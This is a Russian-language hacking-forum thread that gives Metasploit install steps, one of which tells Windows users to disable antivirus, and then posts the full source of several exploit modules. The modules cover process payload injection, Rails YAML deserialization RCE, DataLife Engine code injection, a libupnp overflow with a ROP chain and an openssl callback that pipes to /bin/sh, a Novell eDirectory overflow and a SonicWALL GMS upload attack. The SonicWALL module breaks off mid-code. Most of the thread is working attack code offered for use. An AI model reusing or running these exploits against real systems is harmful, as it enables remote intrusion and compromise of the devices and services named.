• XSS.stack #1 – первый литературный журнал от юзеров форума

Модули для Metasploit Framework

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
8035bfc356f84a20ab383b3bf10a86d8.png

Ставим metasploit..
Тут всё как бы просто)) на данный момент мне известно 2 варианта установки))) мы с Вами, уважаемые читатели, рассмотрим оба)))

1) Скачать дистрибудив у официального производителя/поставщика
2) GitHub + все его плюшки.....
---------------------------------------------------------------------------------------
Вариант 1.

Собственно фарш METASPLOIT'а, установочный пакет для бесплатной загрузки.

:zns5: Скачать|Download

1a) Если у Вас Windows***, то отключив антивирус, двойным щелчком запускаем установщик и следуем его инструкциям
a2) Linux..., запускаем консоль, пишем:
Код:
sudo chmod +x Metasploit*.run
sudo password:....
sudo ./Metasploit*.run
Далее следуем инструкциям установщика..., далее, далее, далее...., готова.
Снова открываем консоль, пишем msfconsole и вооля....
ЗЫ..: Отличия этого метода в том, что содержимое не обновляется....(( То есть актуальность на момент установки...(((

Вариант 2.(доступен только для пользователей Linux платформ)
Открываем консоль и пишем следующее...:
Код:
mkdir msins && cd msins
git clone https://github.com/darkoperator/MSF-Installer
cd MSF-Installer
sudo msf_install.sh -i
sudo password:...
Ждём окончания процесса..., минут 15-20. За это время скрипт автоматически выкачает и установит весь необходимый набор пакетов и зависимостей, необходимых для корректной работы. Установит PostgreSQL создаст базу, пользователя, пропишет в msf.., ну ясно в общем.. и ГЛАВНОЕ, при запуске скрипта из комплекта Метасплоита, "msfupdate", он проверит актуальность установленной базы модулей с базой GitHub(url), и произведёт загрузку и обновления недостающего.

09e1d2461757e9d42773ca147e2b27ce.png


2407a5a70795eae3dc3ff236814a4fa6.jpg



**************************************************************************

Дальше публикуем модули, дополнения, сплоиты, классы, и всё что к этому прилагается.
**************************************************************************

Windows Manage Memory Payload Injection
This Metasploit module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead.

Код:
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	def initialize(info={})
  super( update_info( info,
  	'Name'          => 'Windows Manage Memory Payload Injection',
  	'Description'   => %q{
    	This module will inject a payload into memory of a process.  If a payload
    isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
    datastore option isn't specified, then it'll inject into notepad.exe instead.
  	},
  	'License'       => MSF_LICENSE,
  	'Author'        =>
    [
    	'Carlos Perez <carlos_perez[at]darkoperator.com>',
    	'sinn3r'
    ],
  	'Platform'      => [ 'win' ],
  	'SessionTypes'  => [ 'meterpreter' ],
  	'Targets'       => [ [ 'Windows', {} ] ],
  	'DefaultTarget' => 0,
  	'DisclosureDate'=> "Oct 12 2011"
  ))

  register_options(
  	[
    OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
    OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
  	], self.class)
	end

	# Run Method for when run command is issued
	def exploit
  @payload_name = datastore['PAYLOAD']
  @payload_arch = framework.payloads.create(@payload_name).arch

  # syinfo is only on meterpreter sessions
  print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

  pid = get_pid
  if not pid
  	print_error("Unable to get a proper PID")
  	return
  end

  if @payload_arch.first =~ /64/ and client.platform =~ /x86/
  	print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
  	print_error("Migrate to an x64 process and try again.")
  	return false
  else
  	inject_into_pid(pid)
  end
	end

	# Figures out which PID to inject to
	def get_pid
  pid = datastore['PID']
  if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
  	print_status("Launching notepad.exe...")
  	pid = create_temp_proc
  end

  return pid
	end


	# Determines if a PID actually exists
	def has_pid?(pid)
  procs = []
  begin
  	procs = client.sys.process.processes
  rescue Rex::Post::Meterpreter::RequestError
  	print_error("Unable to enumerate processes")
  	return false
  end

  pids = []

  procs.each do |p|
  	found_pid = p['pid'] 
  	return true if found_pid == pid
  end

  print_error("PID #{pid.to_s} does not actually exist.")

  return false
	end

	# Checks the Architeture of a Payload and PID are compatible
	# Returns true if they are false if they are not
	def arch_check(pid)
  # get the pid arch
  client.sys.process.processes.each do |p|
  	# Check Payload Arch
  	if pid == p["pid"]
    vprint_status("Process found checking Architecture")
    if @payload_arch.first == p['arch']
    	vprint_good("Process is the same architecture as the payload")
    	return true
    else
    	print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
    	return false
    end
  	end
  end
	end

	# Creates a temp notepad.exe to inject payload in to given the payload
	# Returns process PID
	def create_temp_proc()
  windir = client.fs.file.expand_path("%windir%")
  # Select path of executable to run depending the architecture
  if @payload_arch.first== "x86" and client.platform =~ /x86/
  	cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
  	cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
  	cmd = "#{windir}\\Sysnative\\notepad.exe"
  elsif @payload_arch.first == "x86" and client.platform =~ /x64/
  	cmd = "#{windir}\\SysWOW64\\notepad.exe"
  end

  begin
  	proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
  rescue Rex::Post::Meterpreter::RequestError
  	return nil
  end

  return proc.pid
	end

	def inject_into_pid(pid)
  vprint_status("Performing Architecture Check")
  return if not arch_check(pid)

  begin
  	print_status("Preparing '#{@payload_name}' for PID #{pid}")
  	raw = payload.generate

  	print_status("Opening process #{pid.to_s}")
  	host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
  	if not host_process
    print_error("Unable to open #{pid.to_s}")
    return
  	end

  	print_status("Allocating memory in procees #{pid}")
  	mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

  	# Ensure memory is set for execution
  	host_process.memory.protect(mem)

  	print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
  	print_status("Writing the stager into memory...")
  	host_process.memory.write(mem, raw)
  	host_process.thread.create(mem, 0)
  	print_good("Successfully injected payload in to process: #{pid}")

  rescue Rex::Post::Meterpreter::RequestError => e
  	print_error("Unable to inject payload:")
  	print_line(e.to_s)
  end
	end

end
 
Ruby on Rails JSON Processor YAML Deserialization Code Execution

Код:
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
            'Description'    => %q{
                    This module exploits a remote code execution vulnerability in the
                JSON request processor of the Ruby on Rails application framework.
                This vulnerability allows an attacker to instantiate a remote object,
                which in turn can be used to execute any ruby code remotely in the
                context of the application. This vulnerability is very similar to
                CVE-2013-0156.
 
                This module has been tested successfully on RoR 3.0.9, 3.0.19, and
                2.3.15.
 
                The technique used by this module requires the target to be running a
                fairly recent version of Ruby 1.9 (since 2011 or so). Applications
                using Ruby 1.8 may still be exploitable using the init_with() method,
                but this has not been demonstrated.
 
            },
            'Author'         =>
                [
                    'jjarmoc',  # Initial module based on cve-2013-0156, testing help
                    'egypt',    # Module
                    'lian',     # Identified the RouteSet::NamedRouteCollection vector
                ],
            'License'        => MSF_LICENSE,
            'References'  =>
                [
                    ['CVE', '2013-0333'],
                ],
            'Platform'       => 'ruby',
            'Arch'           => ARCH_RUBY,
            'Privileged'     => false,
            'Targets'        =>  [ ['Automatic', {} ] ],
            'DisclosureDate' => 'Jan 28 2013',
            'DefaultOptions' => { "PrependFork" => true },
            'DefaultTarget' => 0))
 
        register_options(
            [
                Opt::RPORT(80),
                OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
                OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
 
            ], self.class)
 
    end
 
    #
    # Create the YAML document that will be embedded into the JSON
    #
    def build_yaml_rails2
 
        code = Rex::Text.encode_base64(payload.encoded)
        yaml =
            "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
            "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
            "eval(%[#{code}].unpack(%[m0])[0]);' " +
            ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
        yaml.gsub(':', '\u003a')
    end
 
 
    #
    # Create the YAML document that will be embedded into the JSON
    #
    def build_yaml_rails3
 
        code = Rex::Text.encode_base64(payload.encoded)
        yaml =
            "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
            "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
            ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
        yaml.gsub(':', '\u003a')
    end
 
    def build_request(v)
        case v
        when 2; build_yaml_rails2
        when 3; build_yaml_rails3
        end
    end
 
    #
    # Send the actual request
    #
    def exploit
 
        [2, 3].each do |ver|
            print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
            send_request_cgi({
                'uri'     => normalize_uri(target_uri.path),
                'method'  => datastore['HTTP_METHOD'],
                'ctype'   => 'application/json',
                'headers' => { 'X-HTTP-Method-Override' => 'get' },
                'data'    => build_request(ver)
            }, 25)
            handler
        end
 
    end
end
 
DataLife Engine preview.php PHP Code Injection

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'DataLife Engine preview.php PHP Code Injection',
            'Description'    => %q{
                    This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
                The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
                with the e modifier, which allows to inject arbitrary php code, when the template
                in use contains a [catlist] or [not-catlist] tag.
            },
            'Author'         =>
                [
                    'EgiX', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2013-1412' ],
                    [ 'BID', '57603' ],
                    [ 'EDB', '24438' ],
                    [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
                    [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'Keys'   => ['php']
                },
            'DisclosureDate' => 'Jan 28 2013',
            'Targets'        => [ ['DataLife Engine 9.7', { }], ],
            'DefaultTarget'  => 0
            ))
 
        register_options(
            [
                OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
            ], self.class)
    end
 
    def uri
        normalize_uri(target_uri.path, 'engine', 'preview.php')
    end
 
    def check
        fingerprint = rand_text_alpha(4+rand(4))
        res = send_request_cgi(
            {
                'uri'       =>  uri,
                'method'    => 'POST',
                'vars_post' =>
                    {
                        'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
                    }
            })
 
        if res and res.code == 200 and res.body =~ /#{fingerprint}/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        @peer = "#{rhost}:#{rport}"
 
        print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
        res = send_request_cgi(
            {
                'uri'       =>  uri,
                'method'    => 'POST',
                'vars_post' =>
                    {
                        'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
                    }
            })
    end
end
 
Portable UPnP SDK unique_service_name() Remote Code Execution

This Metasploit module exploits a buffer overflow in the unique_service_name() function of libupnp's SSDP processor. The libupnp library is used across thousands of devices and is referred to as the Intel SDK for UPnP Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP listener to stage the real payload.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
      'Description'    => %q{
          This module exploits a buffer overflow in the unique_service_name()
        function of libupnp's SSDP processor. The libupnp library is used across
        thousands of devices and is referred to as the Intel SDK for UPnP
        Devices or the Portable SDK for UPnP Devices.

        Due to size limitations on many devices, this exploit uses a separate TCP
        listener to stage the real payload.
      },
      'Author'         => [
          'hdm',                                              # Exploit dev for Supermicro IPMI
          'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
          'Richard Harman <richard[at]richardharman.com>'     # Binaries, system info, testing for Supermicro IPMI
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-5858' ],
          [ 'US-CERT-VU', '922681' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
#
#          # The following BadChars do not apply since we stage the payload
#          # through a secondary connection. This is just for reference.
#
#          'BadChars'  =>
#            # Bytes 0-8 are not allowed
#            [*(0..8)].pack("C*") +
#            # 0x09, 0x0a, 0x0d are allowed
#            "\x0b\x0c\x0e\x0f" +
#            # All remaining bytes up to space are restricted
#            [*(0x10..0x1f)].pack("C*") +
#            # Also not allowed
#            "\x7f\x3a" +
#            # Breaks our string quoting
#            "\x22",

          # Unlimited since we stage this over a secondary connection
          'Space'       => 8000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # specific payloads vary widely by device (openssl for IPMI, etc)
            }
        },
      'Targets'        =>
        [

          [ "Automatic", { } ],

          #
          # ROP targets are difficult to represent in the hash, use callbacks instead
          #
          [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {

            # The callback handles all target-specific settings
            :callback => :target_supermicro_ipmi_131,

            # This matches any line of the SSDP M-SEARCH response
            :fingerprint =>
              /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi

            #
            # SSDP response:
            #  Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
            #  http://192.168.xx.xx:49152/IPMIdevicedesc.xml
            #  uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice

            # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)

          } ],

          [ "Debug Target", {

            # The callback handles all target-specific settings
            :callback => :target_debug

          } ]

        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 29 2013'))

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(1900),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
      ], self.class)
  end


  def exploit

    configure_socket

    target_info = choose_target

    unless self.respond_to?(target_info[:callback])
      print_error("Invalid target specified: no callback function defined")
      return
    end

    buffer = self.send(target_info[:callback])
    pkt =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:uuid:schemas:device:" + buffer + ":end\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")

    r = udp_sock.sendto(pkt, rhost, rport, 0)

    1.upto(5) do
      ::IO.select(nil, nil, nil, 1)
      break if session_created?
    end

    # No handler() support right now
  end



  # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
  def target_supermicro_ipmi_131

    # Create a fixed-size buffer for the payload
    buffer = Rex::Text.rand_text_alpha(2000)

    # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
    buffer[0,1]     = '"'
    buffer[1999,1]  = '"'

    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]

    # Restart the service and use openssl to stage the real payload
    # Staged because only ~150 bytes of contiguous data are available before mangling
    cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
    buffer[432, cmd.length] = cmd

    # Adjust $r3 to point from the bottom of the stack back into our buffer
    buffer[304,4] = [0x4009daf8].pack("V") #
      # 0x4009daf8:  add  r3, r3, r4, lsl #2
      # 0x4009dafc:  ldr  r0, [r3, #512]; 0x200
      # 0x4009db00:  pop  {r4, r10, pc}

    # The offset (right-shifted by 2 ) to our command string above
    buffer[284,4] = [0xfffffe78].pack("V") #

    # Copy $r3 into $r0
    buffer[316,4] = [0x400db0ac].pack("V")
      # 0x400db0ac <_IO_wfile_underflow+1184>:  sub  r0, r3, #1
      # 0x400db0b0 <_IO_wfile_underflow+1188>:  pop  {pc}  ; (ldr pc, [sp], #4)

    # Move our stack pointer down so as not to corrupt our payload
    buffer[320,4] = [0x400a5568].pack("V")
      # 0x400a5568 <__default_rt_sa_restorer_v2+5448>:  add  sp, sp, #408; 0x198
      # 0x400a556c <__default_rt_sa_restorer_v2+5452>:  pop  {r4, r5, pc}

    # Finally return to system() with $r0 pointing to our string
    buffer[141,4] = [0x400add8c].pack("V")

    return buffer
=begin
    00008000-00029000 r-xp 00000000 08:01 709233     /bin/upnp_dev
    00031000-00032000 rwxp 00021000 08:01 709233     /bin/upnp_dev
    00032000-00055000 rwxp 00000000 00:00 0          [heap]
    40000000-40015000 r-xp 00000000 08:01 709562     /lib/ld-2.3.5.so
    40015000-40017000 rwxp 00000000 00:00 0
    4001c000-4001d000 r-xp 00014000 08:01 709562     /lib/ld-2.3.5.so
    4001d000-4001e000 rwxp 00015000 08:01 709562     /lib/ld-2.3.5.so
    4001e000-4002d000 r-xp 00000000 08:01 709535     /lib/libpthread-0.10.so
    4002d000-40034000 ---p 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40034000-40035000 r-xp 0000e000 08:01 709535     /lib/libpthread-0.10.so
    40035000-40036000 rwxp 0000f000 08:01 709535     /lib/libpthread-0.10.so
    40036000-40078000 rwxp 00000000 00:00 0
    40078000-40180000 r-xp 00000000 08:01 709620     /lib/libc-2.3.5.so
    40180000-40182000 r-xp 00108000 08:01 709620     /lib/libc-2.3.5.so
    40182000-40185000 rwxp 0010a000 08:01 709620     /lib/libc-2.3.5.so
    40185000-40187000 rwxp 00000000 00:00 0
    bd600000-bd601000 ---p 00000000 00:00 0
    bd601000-bd800000 rwxp 00000000 00:00 0
    bd800000-bd801000 ---p 00000000 00:00 0
    bd801000-bda00000 rwxp 00000000 00:00 0
    bdc00000-bdc01000 ---p 00000000 00:00 0
    bdc01000-bde00000 rwxp 00000000 00:00 0
    be000000-be001000 ---p 00000000 00:00 0
    be001000-be200000 rwxp 00000000 00:00 0
    be941000-be956000 rwxp 00000000 00:00 0          [stack]
=end

  end

  # Generate a buffer that provides a starting point for exploit development
  def target_debug
    buffer = Rex::Text.pattern_create(2000)
  end

  def stage_real_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)

    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => ssl,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    self.service.on_client_connect_proc = Proc.new { |client|
      stage_real_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  #
  # Shut down any running services
  #
  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.kind_of?(Rex::Service)
        if self.service.kind_of?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::Exception
      end
    end
  end

  def choose_target
    # If the user specified a target, use that one
    return self.target unless self.target.name =~ /Automatic/

    msearch =
      "M-SEARCH * HTTP/1.1\r\n" +
      "Host:239.255.255.250:1900\r\n" +
      "ST:upnp:rootdevice\r\n" +
      "Man:\"ssdp:discover\"\r\n" +
      "MX:3\r\n\r\n"

    # Fingerprint the service through SSDP
    udp_sock.sendto(msearch, rhost, rport, 0)

    res = nil
    1.upto(5) do
      res,addr,info = udp_sock.recvfrom(65535, 1.0)
      break if res and res =~ /^(Server|Location)/mi
      udp_sock.sendto(msearch, rhost, rport, 0)
    end

    self.targets.each do |t|
      return t if t[:fingerprint] and res =~ t[:fingerprint]
    end

    if res and res.to_s.length > 0
      print_status("No target matches this fingerprint")
      print_status("")
      res.to_s.split("\n").each do |line|
        print_status("    #{line.strip}")
      end
      print_status("")
    else
      print_status("The system #{rhost} did not reply to our M-SEARCH probe")
    end

    fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
  end

  # Accessor for our TCP payload stager
  attr_accessor :service

  # We need an unconnected socket because SSDP replies often come
  # from a different sent port than the one we sent to. This also
  # breaks the standard UDP mixin.
  def configure_socket
    self.udp_sock = Rex::Socket::Udp.create({
      'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
    })
    add_socket(self.udp_sock)
  end

  #
  # Required since we aren't using the normal mixins
  #

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  # Accessor for our UDP socket
  attr_accessor :udp_sock

end
 
Novell eDirectory 8 Buffer Overflow
This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The vulnerability exists in the ndsd daemon, specifically in the NCP service, while parsing a specially crafted Keyed Object Login request. It allows remote code execution with root privileges.
Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Novell eDirectory 8 Buffer Overflow',
      'Description'     => %q{
          This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The
        vulnerability exists in the ndsd daemon, specifically in the NCP service, while
        parsing a specially crafted Keyed Object Login request. It allows remote code
        execution with root privileges.
      },
      'Author'          =>
        [
          'David Klein', # Vulnerability Discovery
          'Gary Nilson', # Exploit
          'juan vazquez' # Metasploit module
        ],
      'References'      =>
        [
          [ 'CVE', '2012-0432'],
          [ 'OSVDB', '88718'],
          [ 'BID', '57038' ],
          [ 'EDB', '24205' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ]
        ],
      'DisclosureDate'  => 'Dec 12 2012',
      'Platform'        => 'linux',
      'Privileged'      => true,
      'Arch'            => ARCH_X86,
      'Payload'         =>
        {

        },
      'Targets'         =>
        [
          [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3',
            {
              'Ret' => 0x080a4697, # jmp esi from ndsd
              'Offset' => 58
            }
          ]
        ],
      'DefaultTarget'   => 0
    ))

    register_options([Opt::RPORT(524),], self.class)
  end

  def check
    connect
    sock.put(connection_request)
    res = sock.get
    disconnect
    if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
      # res[8,2] => Reply Type
      # res[15,1] => Connection Status
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Detected
  end

  def connection_request
    pkt =  "\x44\x6d\x64\x54" # NCP TCP id
    pkt << "\x00\x00\x00\x17" # request_size
    pkt << "\x00\x00\x00\x01" # version
    pkt << "\x00\x00\x00\x00" # reply buffer size
    pkt << "\x11\x11"         # cmd => create service connection
    pkt << "\x00"             # sequence number
    pkt << "\x00"             # connection number
    pkt << "\x00"             # task number
    pkt << "\x00"             # reserved
    pkt << "\x00"             # request code

    return pkt
  end

  def exploit

    connect

    print_status("Sending Service Connection Request...")
    sock.put(connection_request)
    res = sock.get
    if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
      # res[8,2] => Reply Type
      # res[15,1] => Connection Status
      fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed")
    end
    print_good("Service Connection successful")

    pkt = "\x44\x6d\x64\x54"  # NCP TCP id
    pkt << "\x00\x00\x00\x00" # request_size (filled later)
    pkt << "\x00\x00\x00\x01" # version (1)
    pkt << "\x00\x00\x00\x05" # reply buffer size
    pkt << "\x22\x22"         # cmd
    pkt << "\x01"             # sequence number
    pkt << res[11]            # connection number
    pkt << "\x00"             # task number
    pkt << "\x00"             # reserved
    pkt << "\x17"             # Login Object FunctionCode (23)
    pkt << "\x00\xa7"         # SubFuncStrucLen
    pkt << "\x18"             # SubFunctionCode
    pkt << "\x90\x90"         # object type
    pkt << "\x50"             # ClientNameLen
    pkt << rand_text(7)
    jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string
    pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP
    pkt << rand_text(target['Offset'] - jmp_payload.length)
    pkt << [target.ret].pack("V")
    pkt << payload.encoded

    pkt[4,4] = [pkt.length].pack("N")

    print_status("Sending Overflow on Keyed Object Login...")
    sock.put(pkt)
    sock.get
    disconnect
  end

end

Добавлено в [time]1360133693[/time]
SonicWALL GMS 6 Arbitrary File Upload
This Metasploit module exploits a code execution flaw in SonicWALL GMS. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the Web Administration interface allows to abuse the "appliance" application and upload an arbitrary payload embedded in a JSP. The module has been tested successfully on SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run successfully while testing, shell payload have been used.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'SonicWALL GMS 6 Arbitrary File Upload',
      'Description' => %q{
          This module exploits a code execution flaw in SonicWALL GMS. It exploits two
        vulnerabilities in order to get its objective. An authentication bypass in the
        Web Administration interface allows to abuse the "appliance" application and upload
        an arbitrary payload embedded in a JSP. The module has been tested successfully on
        SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
        Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
        successfully while testing, shell payload have been used.
      },
      'Author'       =>
        [
          'Nikolas Sotiriu', # Vulnerability Discovery
          'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-1359'],
          [ 'OSVDB', '89347' ],
          [ 'BID', '57445' ],
          [ 'EDB', '24204' ]
        ],
      'Privileged'  => true,
      'Platform'    => [ 'win', 'linux' ],
      'Targets'     =>
        [
          [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 17 2012'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
      ], self.class)
  end


  def on_new_session
    # on_new_session will force stdapi to load (for Linux meterpreter)
  end


  def generate_jsp
    var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
    var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
    var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
    var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
    var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
